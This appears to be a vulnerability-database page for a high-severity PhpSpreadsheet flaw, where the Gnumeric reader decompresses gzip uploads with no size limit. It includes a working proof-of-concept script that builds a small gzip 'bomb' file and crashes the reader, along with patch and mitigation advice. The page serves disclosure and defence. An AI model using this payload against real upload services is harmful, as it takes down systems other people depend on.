Skip to main content

PhpSpreadsheet EUVDEUVD-2026-49952

| CVE-2026-59932 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-23 https://github.com/PHPOffice/PhpSpreadsheet GHSA-2mrg-gjxq-2gvr
7.5
CVSS 3.1 · Vendor: https://github.com/PHPOffice/PhpSpreadsheet
Share

Severity by source

Vendor (https://github.com/PHPOffice/PhpSpreadsheet) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Remote, unauthenticated, no-interaction file upload triggers unbounded decompression with availability-only impact, so AV:N/AC:L/PR:N/UI:N and C:N/I:N/A:H.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).

CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 15:15 vuln.today
Analysis Generated
Jul 23, 2026 - 15:15 vuln.today
CVE Published
Jul 23, 2026 - 15:00 github-advisory
HIGH 7.5

DescriptionCVE.org

Summary

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.

This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:

  • src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead().
  • src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing.
  • src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.

The vulnerable expansion is in gzfileGetContents():

  • src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with file_get_contents().
  • src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap.
  • src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.

Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Impact

A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.

In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.

bash
docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents("/tmp/bomb.gnumeric", $gz);
printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SH

Observed output:

text
compressed_size=97811 expanded_size=100663390
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

  • Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files.
  • Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
  • Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
  • Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly.
  • Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.

AnalysisAI

Denial-of-service in PhpSpreadsheet's Gnumeric reader lets remote attackers crash PHP worker processes by uploading a tiny gzip-compressed .gnumeric file that decompresses to hundreds of megabytes. The reader's Gnumeric::canRead() calls gzdecode() with no decompressed-size cap during routine file-type detection, so a ~98 KB payload expanding to ~96 MiB exhausts a 64M memory limit and triggers a fatal error before validation. No public exploit is identified at time of analysis, but a working proof-of-concept is described in the advisory and the CVSS score is 7.5 (High) with A:H impact.

Technical ContextAI

The affected component is the PHP library PhpSpreadsheet (Composer package phpoffice/phpspreadsheet), specifically the Gnumeric reader that ingests .gnumeric spreadsheet files - an XML format that is commonly gzip-compressed. In src/PhpSpreadsheet/Reader/Gnumeric.php, gzfileGetContents() reads the whole file with file_get_contents(), detects gzip magic bytes, and calls gzdecode($contents) with no output-length argument, so the entire payload is inflated into memory before any XML scanning or structural validation occurs. This is a textbook CWE-400 (Uncontrolled Resource Consumption), realized here as a classic decompression bomb / gzip amplification: the attacker controls the compression ratio, so a small input forces an unbounded allocation. The same unbounded path is reachable from canRead(), listWorksheetNames(), listWorksheetInfo(), and load(), and some call sites decompress the file more than once, compounding the cost.

RemediationAI

Upgrade to a patched release for your branch: Vendor-released patch versions are 5.8.1, 3.10.7, 2.4.7, 2.1.18 (and 1.30.6), delivered via commit 85f2556b0bf5269061bf45932ecda8a128d81750. The fix computes a maxLength from the PHP memory_limit (one quarter of it) and passes it to gzdecode($contents, $this->maxLength), and exposes a setMaxLength() method so applications can tighten the cap; run composer update phpoffice/phpspreadsheet to the fixed version for your major line. If you cannot patch immediately, apply compensating controls: reject or do not auto-process files with a .gnumeric extension or gzip magic bytes on untrusted upload paths (trade-off: legitimate Gnumeric imports break); enforce a strict maximum compressed upload size and run spreadsheet parsing in an isolated worker with a conservative memory_limit and process/time limits so a crash is contained and recoverable rather than taking down the main application; and avoid calling canRead()/auto-detection on untrusted files where the format is not expected. See the advisory at https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-2mrg-gjxq-2gvr and the patch commit at https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

EUVD-2026-49952 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy